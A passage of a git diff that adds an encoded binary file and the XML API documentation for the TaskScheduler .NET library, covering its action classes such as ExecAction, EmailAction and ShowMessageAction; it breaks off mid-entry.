zitFCr9*t&tw2Wp(0uN>cZ7hrc^{BV$MG>H0C7Dg25#U%vYE8E^13lA2cMn1anOSXc zyt609F@89~F;1{!@=O9Twy}*Jj5nO{afnT}XOj?HULStOkN5pm-R@bm5eM@Ac(0{7 zw{F#`s#B*A#{STZ4P7VHcBJ#t4(n? zk-?G589ADH9r9&jrw$SUl37Vl?l6n;$xBSD z--)2mUtKe2LT-zqCf=zTcKqKlsu`VVmKc-oZEtOX4`W?Z6L9uTO{NC3ZbgFqOB`ea zV@BuHyOuKrGVjtr87?TWbFyYwUo-qsf0~Lvuox4kY#pG3;$4Q8$ahW-YSBJt zy$>qXe+WrNz*?KVt6BG~bobe2ef4o<0qc|23-2N*ovo;)E)JSTHcR5X%UPC^TQ!xs zij41NhW(R?CM2hgE`ZCjwd(3BFl0u?rl$-MuH@UBPoWT7T%wtI+nYM1&ngE*V#w<*vZilVo4rg5tdORzG4n5?#oW-$l*^$}ke;a91I(J1(zG}4Y3Qf=;GHpM zj+waCRc!xCbzM~=kE^Q+M2qT~jRtO7(Ykmwsa^vJnDIY}+`9wOT0wSqP2JoI-BZ|Q zO)pP$8ivdybU{}!zI3r#s|o$3UFGCs82;LutY({fmvoTqLl~c~FZwPO;NEbvV*qo@7#t(~$B%fj1Z7BpD( zR#OrissmklZ9+8+bdt8r!O~H$0u{pIhu9X09OnuSD8`20zF57di1yBzbIfHzOR08Q z@Y|Q!h#d;I2zUjS2s8_{3K;aInDgu8V{j9ZyIW5+)iQL@^ICinsNZ7mYokbLuWKUxSHU|MNXv*yQf&=|KS8Ql)xjI=Afv)r!2aU3N{~ zW^9+F5hBePG$~PYDhnlBw#J(gTLrMLP23}E?ZiC_&*a-&dxWudv@G*sA2UC6uf`3# zq7Lnqzg=HQ5u<@KHLVqOw``K0ZX!_TZA_6iFN%}Rh!Gll)xtK&_~mqDC8xdg5(l~H zWlrQci~%6dMI*2VLzp^=fD1F*Ok-q{pEcpn^v_0G13bwyMbBax2Nb|K;8Wq|Dvk9C zhDzsjj~CN48l<~PO_=tfrM%s;Qq$L7bMnxQ;_jM`v!G{p#_ZOiBNhz8&_@i?-#I;q z{^@S(oG#cfo6zY&X2x#GN~?4*rYr?}mixReKfExL(WE`rJ2ALmge7!;*Ytfb^>kDT zCWM2U3R(V6+`ozrq4$3dohIrOV+4W26ZcC7ey)Hq1(Ma60&NjX0!>Y_hIE|bS-u3h zvauLO>|j5LB37lHlYT0*`h{(J(`!s^c0)UFTdNB1ZQvOzFgsw`6ed?QE8I(u-W%#@ zW@Ak@7GsSf&^qju;VP|Az@q?phyiiQl4fOA?hdowGAi9>UqS>;R7p~;lZ(4%hQ-fG zzc%KR{?6&gw5PF6s7F1nz8N=5))}+=of)(HvJ1^Ta|tu0#F6Pyii$aP2dmTWrZ$#4 zT473$USXSwvR+kJx2sqaA%(1C%-*MK@*~XP_GE^W1e(ZUH%p(7Aa@Gc&Na(S^%1L3 zmOql27cf9_h72b@uCrwAo@}VA70$VlBp@MXr!}+N%h>_R6%tRBFR3Fjui`V|CCuGwSs=X&y!tyxklLn%;sPb42G9j}8HJB(B=LCmF1n z86(aM(Y#)E%Z=R-i%n=3!nNFR#!7a8a(%OOk0tqd50J&r-CiAO% zK}oR~fMj#bq7@5gEG!JP{{&s?5i_#MXwQHiv2iS{Sfpty&Q-PpZ3DICYg(iU+pL*p z#=Q@mx9i5vZ!g*4ed79+FMZYj_m_D8`&)Kic2eZoo5w#SN2TU*$GO#UoR%g4_m^%@ z2GKE&hkp;9w&+cN^zrN8a>={y-Te96pICQeB!B2oX4mc4y=zNk!`uJ8c1!ls$1iy3 zw%=X*@UO4B_{ST*`};lp|9t(Ok*^e2m)`y5_FJ3ccdWnRj!Q~+ZT!xeEB^SC@44iz z2X{W${@x8eCp`Xd@BZ=1$T{Em;NR{$?;FqD{Q7@Ner@qBw_ox3N4-nlKQi!>=l=W; zKYM=h^1nefL0~I{H50%RApmVovsZvszbFN?0J`-MfxNf$!4f?()yuuy3A@k7xvPSE zlU%&!CN#gq??kzf=_98$V?9$d>e*>#cj2ts>iW9L5wrdn)c6PdcrcZDK-WHO=)-SI z_xcd63RH!8{HgS?jhy?GKKI2ea_Bn%IZDwRZ0c_W7G9ci^j>DwC6BbzoHqck=b!yX zxqU8w1NTARY~|x?=XylxdRlzY{5#EACD%N;zsYS*4tHY1Yx|w;=4C{?zzmQ#0*nxj z=qTKAmg%u1dAGfpN8n$3^sf;&cZf4f1eOXc6Id?LF0ewNQ=m&=rNAnI69i5ac#S}} zz)1qH6*yU-M_{$UDFUYoyiVXWf!71Bn*X)1DlAs}#4J7YB=Dr%cFnDe%aht*)*26c`e?O5kdNk^o;rahgX2`23X9JSuRF zKt%vIPp7#iFeY%V03S(on)&jy(~MiP)BF~J>jiEQI4JN|fg1(J1ttV01*Qb11!e@^ zCh&HFcM7~q;N1f66S!UAae*%jd_~}|1)dQ2s({}EST7I|2nvJ*!U7S2K7pt}Odu|h z5ZEB_TLK#e&Jj3Q;5>m%0x5yCKt>=dkQ3M}uti|2z#9e57q~#+y#ntOc)!3c0=Ej> zCUCpJ9Rha>+$He)0v`}~7{$^2h`?V7d`93=fzJwjPT=zbj|qH1;EMuZ5_nwT%K~2! z_-lbD1imWpq`?11ja+v41AOyG{IOs9d$bp$Htlqp&T^Vx@|?=p@pL)OH#-2w=@7tf zOzi?q0v;Gl|804t-v8d@VV~r%sBB`M?{J#%eca?U-RLxpQ=f+vYHf17O)srzf;wj< zlz0Siq(V0fGz%;iz#$7oF5netTiHC`yhLEBz%qg50__4T1Udvd1-b-Q3ak=1LEuCI z$e>=s1LlKfm;&$tUUF85X8I>E{>eDClKD-w>P#o7%cP!^5OjWt)BiJ z<1_y;f^wz&zE^>k#VWTt4x>CL;KXv`qO(qH_MC*SJw)4cKL1zy0~G98zvOQ%lwcFMN+6kzIpnRm1e#_u;9sp(PLkgALYMYd4l$go;np#?PGbm6Js42Q2Y*8}>R_CO8WD16I%quW0fbRmf zy3VP03cOd~R)ISOKA@ap-_+9r(9=01LT5zY)Qd(KI9DJ41h;t0wRBE53wQ;V33Ldo z66hA_5m+nW6WA!QNuXbVmUd3>6rcfJ)1$_R(0bVEzGf_y^2BljJ=S(f43;RfRYK^k zKpUx^ey>{s_JRh6aRQ+L*VTl4I;_7*72NAOEwZoX*vS^iKHJo$efx6tVq@c8Z#?Jp zFvI~&{8AXR?gEsFy+Ki*CAaV=IHkiPAd#|;7z!Ed1=%NqEub8bD6>5$^W;`h_4RuF zbavPDQ>GYgjtjc|XTa2bfXRDwd&uDGP;L>%Tt!C&9&cod3&ET$D9Y}g!I&xnW_BWy z>{1m}Z_V_G9(J;dScAlwy)-w|FDiy;wwR`Qs29WE#;#LIr8?av|8?#iTWeLU&8Uzh zmDGqE5>_y0g)$SIf`n^_?nO-L#AXhSTfNUBk77}3~CcK7JCx}&?JO*QG-?zN7>xRF9N zM>=xm#ey;ZQG0o?)!{h4Yy1&zxqMO8INAa;coTIr zE9){Aa0)l+MqSYj#+nW<%xmf7wcloxQNz7L9!(*y#3q&)3uGk&)3p|q^MXNT}v27(ECa;~Q|0i}B(u`lND!}e$j@XUEA6~W;C5VIWI}Nq+9^@RSNaI#x zx#1|EqZv*{=>`tVvEk#Gp-$m!RpiMxQKy;{qqacH2mD9X^6P9_x~OK+LusNLXgov3 zj@E$0pYgzvo{EuWkZ2lUJ+VtQCRLmMdgpKEfbRVv)thhuP{6<>ab+X8j+n~La)D+f1hEq3jLzC@g zYRfW*>^Hfyh{em8%LK=UREnl|*&;7SW1a)QL63@|0F12~V6@(}@g~{`uAQ0)${kY{ zxn)YO&sfWCn`WzqLa&Nrb!NED)${}q-b;1R0UzQ5MB-E-p*A)l-5P|{3B86L_ga?* z8@5Gq96+mauG`(d8e55LJ7>P*ko%Y1Hhkku`S-VL?8qX;O zsMvM{PacUAFGwqWdWnxyy0{6_Z$?vnx)l_h18kR1{!ILz)S;lx)lFAVNf97S-esIc z(IS?)EPUJOA#-#8BA?S{dhMCH2s;0#T0!FrAf2yb#vd_JySZUB9Wpol#yH>4O4{6Z zGb-eeXaCEK62b0l)xddvwa!(!c1}Fu)!0^%ll`vnJk8OdycrCQO-6dA?pK`L??iW# zj=t(Q3}6YKvG>xv`;BuKUU#DSQNf89O}N=WbKE<5W!I$q@j2{dt&5bK0w-Rep{#1m zxta;f;hJ97=7lrk`_VY6KtmMEJ&IC%JlMk#kq7`!CqF;aP+@C853(nqPIe}09v5@- zxV?GYP~(`WuiL1vQ@%Vm3B4#5V`jYS>JDg&fRm!ZV-F&9TG!^2 z-^5H$hmDx(SG_o(iLQrjkq_%;@@8{0d9z7>*1#VS#W93ZfL_QG7up$*aQ}We`G^C= zv@;tjK$Poyu)85w>&V?T@qC?5f{K`0+hg>t+}7%-lebyH!`lUanA=3c(lxo( z_?AsRXc@8wSvTEq$j)Gs8f%6NG*-jENsl{F5O_=6*_9335|L$#x4P8s`V1?i71#^f zCOxNOIgJX~rG)Vg;P%IE^v~AYqec;TO>MF*mB0y;i<)N!ovw8OG%5H} z8DTc=XPWVPU=UueUWHpwbQ&A0*0Qbk&LWS;DyLuUbQUu>cGyjtiCF>F^b#`=|Lu@5eTDms)}HFfPM@X^ zP_7`|#4x$BM54cLYg%E0^?s6w3R%>3O|H|d(KX2vgH_y!@-a;rMra9Z=R^gjrpaNribv1`ntQ0)R9Fv}%-WlU zR7a0DV73S5WSwke#^y~1TQIPrlRdK-G4%lRdCOAiMc3hrtqdHtDzKedp@UUlhrN{$ zvgX8WgVDwa#h?ly%G|hZE}5H}O{qyuFgcXi;jKo}S9ge7-S_7HL$r^K$ zVJSAh{janwG$)`?B}CBQuo|azZ+q4Z86(jBHOgq6p zDROGJdS?n@wp2ZA((coo!D0m!g}l2VZX|kUb*C%$Ogdg#+M(xtJXA$V5AZk(H?0h* zRzvs$_VRG+JpQz@IY+5aGfx@Jbc!EJ|0#7rlR6N;C^Pg(>@$w8b ztviLfMYfp4XRMlgww{?%YHlf$rAAuGFyraf8p&N#PnjL_)Kh33gNk51>;@)pZsZx& z96t3lyJOZ)HbA&eAx{}l($n=K2n=dGO+7@rk#J3ja{J=HY0CH~5M`_~S~;Oarh72- zYH+vVz2##g-G+Wd-E>Z`lIoDT2xkRr4r-R?F;Oz$Fp}Jm7F^hW4cyr2YnB(7o`iMn zEgJH~Xh}tP>L-oOj%K=~fO*J>V$I`5)6$Y;%^)d8yjh&wq~`IU;nWtX5xbKHi?MyL zkh#zfApg}OWZt`(^^Y~H?;wy0lp31wk zz?DlJZG|m0di7M1l32dvvn` zVVb(qZY*?9FQC?lGA))Py0$^K7M2F04^wTcT}XQ28CBuWS&(Yd6{dO74Q5&IZC;DZ zpMXc8Nnnvcv%q437J*g)@1nI%4}b0a2@^%SR(40gAW`1M1TZ}cz95M56Wjp;1}N|` zKq;bV;B_r)>99h(y+8=>c=4`V({Em4A5T;6LU77Ox7+*mxL;mvym93MS#Ma4N+C_AIcSH_$M?jvuQ5ilp)f_d|150Mn)jIY^^%Q%%hQ=;2 z2@eWl2T++mGcnIC@?!KBkIdG=#BDUNN3^htwim0 zMKjbXZ^HD-)cp!iKCbwgK@%>tT7G)H9`|_r6nUfdH=THSB|mymc_e$?KykFjsdWEf zrM$oD0gr=ke)yYo_g<9kPnRpjI?eKU~~ju3ViNs*aZO2QK2) zs~kQsPVhJ#n}=#!#`gHq<>BG65f09IL8`|&FL{= z{$r0b{%_kVHo~&1W<-NZCeD!MI_JP4-VXS1($3Pky@#RY;--Sa1m2$Pbx8^HTRK7+PzN$Ii zulh#I)tc|}p^*Y?@Fn8CzO6NA7#=MR?Hz(3RXI>DkYk-Mzi(fqxG!IGqlY=h9~y<$ z1{tD@`c#t0EtLoIrJ=V_UwOn=9UC1jS8Bbyp^iQY^#((|G{JFB<5AKEeZ3G84)v-n zjixvbEv3Mcqgphwo5|Pm zFbR$>Ro`&2HdrqB_75>w_7r`U;&A!eq8UDg;@)DV zI5I$KWmBMSdahh56f0}1hTH4R;Hx{zoavTE`FN&nIzD4;S!Zvo_fOGARK?yfA~@=C zuKtfwNp~j)28z{cx;#>=luJfs5LqWOQ>+eDhDPE3_CleQD_4eHs;iLwn^d^{NEH(K zvMNk^oQ=of6S{L>v2ylCG^J@)1=Wprkzo=%>i0MoQJd)@R7J5iWRy;$&kI8p#+}qD z8UrmmQrvIkAg`W9d(P(Bmao-{l@ZwBFe!98O}kCNDga`n4NOdPJ-|xb#+a*ewbWx; zO(5@acDl|>u2WR+))6Wxk8Uqkt{tL1z04N%?k`t%htA%3?!c~H?hKPIF&Tt*17IE@JY|*hKeOAzq2>)E7o=y zePtz^fx6P;v|munS8LlUL)Q+Kiu;O=qbYO?6D6u4d2N2EBqiuLmwKEF7tC;)2-nsp zE-|uL`N!!GYik_u@c$?t&sUr#6bbY^YkxQ(~hq z-@HoVDno*MSQ)`a8Ppa#T6W*1A(gPn!#j-UPu)z6b4!T#UU%d&f~El6VmBOCKzMEe zL0s;R#HV0X1YGQK-uRp5w~L28V?(8aFBl7iRUYF1*e;1Zfk)+?t-!N5R`RY>rph+W zrTtCIlUgQR=&m5N{Icsb0-J;?Tm_Dd`;wfPRqiq~2*K6$2)KhDXTTkKucm{dp{03~ zOVkq=Dxd~=X(<=$*me14#o92qIs z%wlWp8RwkqV>whi)O%VhhH33MHf;$39ud(aq6>P+jf;e54sxW4=}3$^`rt+}3Y7+D_( ztsfq$nN?eV(~_;#i^fWJ#Q%=RY1>{LDP)Jy0k3@VZ$f0U*A)j|`I2{goTb|bk!|!} zeqZsGub>Umx8j-WI6FN~YtpPHtFL@D5s$Outm9~W^p;r;q37+Chu{8=;PEqUWd)|0 zx4Ny2-|qptp5}>w9cLdu?*-+3O#KH&;jDf~kxxe*EVcH^GiH^?S;0!`vY;IaIp!_1 zl3c|frLL13P=2rTp$xngcDpN z7Bid7ren!?&L4^;1O7-RllI4>u|9t=5(`C>fnYKmPdX0IoAl1^t<8eCzK&lo=T+@W zj0ueAQFi!`FNghhMJh>@>U5j}a*<}IF;d7^+{9PBhqPl^GP_oN#mo0#{)ivD?X$JJ zD`lo1mR>Ap9Y^xxHvN^CA0r^CWVSDoNW}b+cnSeYr?UP;BHHKAL{r&NG@MOkldgaS zLh(=_8%+3PsYKi#$!0?SR45zw=Q8PZI-AQygNc+CrBE`F4)0m0D3#VPoXeN})g!)4MSYNsip^QfTi9jmp4<%!ncsd;pgcCViW-t^@_oXv& z>Wou+Fw^IcXHq$THj)TNBGF`qR2MUli-ywCh(DGMM*Wd+Fyc=J(jk8!9gfDsxkMrp zVT-N7k%{!B0>Nm^PlLm>D4X-A7!m$JEF4NFW64~okDZV(Bk6D^8j56SY&7MMB$8n; zQ!#%akxqrvnJ}Y>7onR07wJntPtYF-sLXIAbu!D)O@*`mR1&84Wf;%NTp*MR zx^0ieG8n<2E)mEjsXdwWr}{!!e>#&?FVngxgIHxIV(Ca#zZ z&O|inM-qbmU_22IgrdQ8F5vcNC=yQu6UnSU8>YBOGMe$nli8F%8_0x%(Y|yd5Xri9 zrsGjq7Vu}XS#c>7g!3_&ifrUU5FZVK*~a9==oz$m;?Za*mK6!e5wZf)l95cppG=3t z$yg{C%E(qDE<}RSOgt3}`_rii(w|KRX=L$-FLF4h;% zr8J`Gtz0k*oiQ4i&8FhnL@FK@7dly$*XQ@mV?!u;Q65c3W6@wF<&VZg&;xD$Bz^3U z(za|o7o?Hy7>o5qGRatwt_#QEbp)NB$iR)hL>!WG$#68{N_k(PFPq3l?MX&(G8s#Us3(xg)nzvkj3WtArX2=vBoxju9weaQ7)2)gGV!3x;Z!7> zi^E-#(#S+q{o5Ca__MiaA`3C7tc;~IoCt*D0a_GFMbHIF2BL%mhNq&rcr=~~g=o8^ zM{8}%>;8O&jkVpH+EPM{++-w;C}ooHB@kqMMNyfd04genI?2T`JZs;0Y)yYz$hA_; zx5pZDgsq8^V&P~aha51BBIz7bmSMQZ!r5rBFVcr5pk*y~ev}xXT9BAv#vfwflOfKm z9b=$KAEW8AK?Z``h%|zYqVh+xS-NZ>(C25Eqd+sUOe~p*BL@kWh-4;_31rZ2=~xa? zPo?NGFf&24YCMxp_J#P;gKAGkk^NjUE(Izjl1cfKQIv8YglFQhSTdG!)lE1XNhiX6 zL4PJe4@Xk*6jMSx=1*r+$!I)<8Vo#>WSU&F$P$Y^;5DhmQG~S?qCTrVKUZY{$wbb@&|)ylrq{KwU|sw z_XjA7FI#w==y8N1SQm=4R!~|4n*#^SVYe0tI94s{3m222a4bw78a~ca?6Udv%p-&D zJyzj!$UyVIOw7QsF);{*>!!Y9wLDglaj(BzF7eDHc36&f4rs+#!18SpQ?i{DE8ZYS z68gu1!rko7?{Ldthdo*zVaa@9xlk;ROjU@_AII6@L2iME!h8y6=Rw_&X!Z;Hx5}G=LU~6>e6&kvDSMb z#t8%1`<3;SY@;LUslUPFuLA?IJ;Ctay#s|%p-|`xwp@gHKF@0b;4nW9p<3zYVI;xM z1*vj@Lq;BUKaLH3TX}!6vVE{vDp{k!wo<;vG2QUR<{;GT3I~%G_WwO@BV}XXj?gvQ z^~ycf>kR}p1Opoa$h=MjGh=pV`(Iamkh)Fv|8?zkD;&ScIB`@a`3v zX%CG_W4)WNL;ANhOW&!YpOycC!%LlOxjSOv>yKUd9K)ZjgM*ocl+Q7n9;FU>=48hnv#<@ztcB7w4;_g`$1$tU&3`27rIY^?)X&L& zx~B2|!zb(hcCXIOHJX~XW-!biXOh%Puwj>N#=VBU2`_2sJGP)HmwTLR-utk9sGu5K zGsV4m4u*{N?l`Pc5zI&z6t69o7G1D|)%*3ca~Dl0sr~`AZ{u6a#9>%e2&t6l4Tu0<&#fD?VIypHG@3=XmAF4)}vgKz{ZwfDppalhu=2C)K^1OxeR034WSorpY@wFPAPIp zao1qR@y<|QDY6lw!T8lxaZAbhKNc5BNAg7Q6CwzYF@?w|7kM>Y?rujv8!c9jD}R_Wg${ z)q3qWt?c+_syQ-pwySmT-saU+8vtKm_Y(^v4 zQJusgv{Ip~;ej1TxSjHzCVV|BID3{gi0nwQdc+PCG4b%6B?>4VJ(Kj!S;nC@o-_h$ zl)ySl9~v0+4dh3BW4K%ny@mR)fehp;h3Yyp$miB9`t4fOad?f~x~v)d_;Q&8L`inu zmhF1SYG9xq_YI8{=|_IQ>T;YXzw)EM($@KX{FPk&UpK&1d+VV~jZI*kZ@5a~$j7Xf zkG$*`SH)uaz5(pdiEyMCh$miucxBd*QLmE?knAX%`O|M(GNb<|+#Y++iTpW#`ET#t z`JTsa`DoWa-Lm_~m)!c-Km7i!OFgf<^TjWHw$;vIQ0vE^^QNh`*ZJj+e@Fj;F*JuefT@)esQHQ^yFtB4L{lOk-jJI`tnDfy6>a! z`}T(SJ^$^uymQSzw!MDfxhpSw{?Pfa`N~gE+JDK<-}>xzEq`%kV);+s{ekx1>;C(W z+s95{bYT|Fxd(8-LNW{E8=D*T4O_ z*ZXrC0sVpLzX*%TBssuxI*z4F37)PYvJk zhWvs5HT6%|Klk@f9lU>g^{q3D9OqvCcn-{2gJ;ZE{@%x*Jc8EnO3CjLzG^Y9Wu$+R z`@e+0{iJ!w!%I?}JGnoH_&*`;JGkeKfG@|IM+h$^-)8XMz~5%VxA0d5_fGOXO88oY zXtnx_-><>X5dHzU|43aA@%LW-t^nUp`nUM|Hu&d*#}k&$wM%`+#)uEv?{}=m@jvd<{hLND%0n? zFD2o`*}CWExzZ+yI7_5nN@_n6zL%tEme%Xr<`rib9MVV8_ZfmJv_+Xxpzk&5MGDXx zTlL=7AyHE2&D`p~K*A|o%=fYNB2j&6y~rD6l}jJ4S3OUH^4be1qDsW!$=@KkTVKL{ zliSD($yNU@`BN(XLVBZQh#2Ks1Z}pHtIj`w;#-I^zhzbDS0J6Xop+rc-V<|6J5ln~ z59L+9d!8|z$h(zqGrSTbhfMoQda%Jct&VJ2C0=JtOY?j-UbGgpLsy3=V}mmQSRL0C9@hJ2S{drdi3Ow^B$6E z=KS3Hc)di)4(fn&A4qRFHj>^XT;uJ$e-3Kk<)K>Hkf?u^Ol#(6s*j8^ZPgf&bRTg3 z2E+wz&6<}LOL&70kG33Mj^1Ug

F8Y0?0QdUNz)6&{Wla!!7Eh+*d}5Et~}R>+n- z2AvHgE+D)97UmI>FCiImo!bYq1Jd>)euE1Mo{wTxR?vA5hzzH>Wl5&@(Qt{(+l}u|Hr6tQWC?BBIACLM$0J5?gd>sb_r?SvS7itVgPQKLv!2Rls~sNDc;27Iz$v zmSB3Yl?>#FHjb(FaZiVuA( zR4{e4SvB>Vqa)3Z?^8fJ3QhH)cJ|TBnH_KukQNO7Iz{ux)OjGDHNPv5jA#d+R#?49 zMnBpRyo4+pj+|wFXU)!aX=YR{tF)pSCHql0Qt!$MP>#||ms3I!(UXSxUCWhMUT-Esk8CG51SWe9*yhy@{O2{E~dhhvQqmo6eEgMOCA$+Zo zw1lK?n@dxJW{=r?og|vNE-<=&HrGk@T;i(L6@^BTr`Buhr>G%{oJ~4|Bu^&>ex7IY zr7ynFS2oAso)yLlN*orAeLSD(X_xCbM@+t=U;g8sPWMq7Q1DTgU$&?1`tU*D^??oB z4tmB%)?rPp6>c% z5heq#TlVn~8XMYz=cGo8OU7){A`#t^9OF5*ipNWHjfK$Da>-b6jGT+LyQO&;%SYJL zds=slTs>0WKjQJ`M-CXvnWr-ex#pozOZC{Or#(&UF!8yk4W2GgU|H>;YzHpKUb7%h z41|+a&$6KrL-$avSUTW2K@WuHeFgWFSM~={+^T2=PIBvLFg9wstF#dNNT@cTG=*kB4-j@8z;{k*xwE z2F$~hSoSKuVV<4?Vt$*{#dcH6LY z(gMsnAoO}xHxdg&7&)xv)!1-Nau3OR@)3b|6LBtT# z+sJ6U*wcEU1{s)*z-khW-N&k71rqu>go8_nUpc*G8HPs`=S;?)!t zXpri5j};etvmczpq@eFuIj#>K^eGqiFw@#uVOwm9^eo;xv=>FerBbbVTJ|FI+&1%^ zAa_-aVAJYx(PN|9IG)kp2CPWu^Y=KYiNd=)WKS@P~i! z2Y+zmjW>SnYhPQ4_4Ly(5qaoPBmTSJ{qCu!p1OYh`f|CvV#SJGyLL5_UV7@Om;8Pl zhhBQy+ZvG0E0-^nMR z3`x`iq_pQQywGC)A{-|0d|%&Xn>T;(gCB&FKmF4`B`*Q8pLgDQwBfB@gR<2x0UQ0jatXj2-9=!eb+i}rHU>ZMoe)G*YcXf50dFGiGxsm1VZ-4u?ZQJg? z`)-%H=E5zJAN$zH<|5nhp+kordE}8NpL}v|(wDyUB_ij>5QYQ%zWnareg9{=-oO5D z7bU*&&A+*2|1bXH56^7Qb^E@5>z{u3Umw5WxvoDv?*~8pz0ZW-eA7?=;^%vBjr{PU zUp@B8kDq+br>`n??D^KGlJEV(aPZCEy;pznzQ6tY$h9j!K7QB34}SjSuYK!XzMJm6 z^&MYZ^2YF0m%nZ6z2kRIet5$rORs+6gp2m>{^gDDKC3pC`^D2A{>G`I;mWmd`k3Rn zaGM6_t^92XEq1o7VlCwU*kY z=Ci}I&CV+9o7=G2aBL19PiLjel}xFGx88_j%=^V+Z=r-ooqjK!P9cUx@`h;UIn+A8 z3Z%+nxR1Z9`BMfSyJMf{u-3&M%pd2<*h?MO+K!`d?&y;{`r?j0xby1%cp{7n(BI?p z>(K+7=#wMF3vUa5S8Q7B+&;@k!m`C)hGlXWFpF(W|rweeK<>| z5FhpWxZ3hXrD9|vk!eDf%mc*iH*}6-{*!n+Bo6pcCiu4^WAN#t6U#U`wmMY6X?MT%g z*~;xlxm2sZ>ZN-hyDhb}!2Nz=d``lNL#vOzQK~2%2D`*{FMpOp+S{p>+OZW({(a6m z?q$#42gR~$srLEU!=^o0SjIIYy~! zm3E#w@k{Z_hI)U?2rt9#MO@YQ`fa9+8lzy0KJ_)^LR?n7MlokHyzbo7kX9MN^_4Km z-Y7V>4~2JlFZ8;6wcm)V_wM0+i%rUDn^VVS)G^Bul`Y8$8faxmaRuiz@@Vvk$NCIQr}Kvo`B!;<9yCX;iml_T8Q&6g+dNb znNWggzSzw#nNz9t@vA%AGp_{gJ59gYk*#qg^W`je{&W2mHT^Ze?1jB{q(0kV@+Fa= d`I_YA literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/Microsoft.Win32.TaskScheduler.xml b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- /dev/null +++ b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + +

Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same 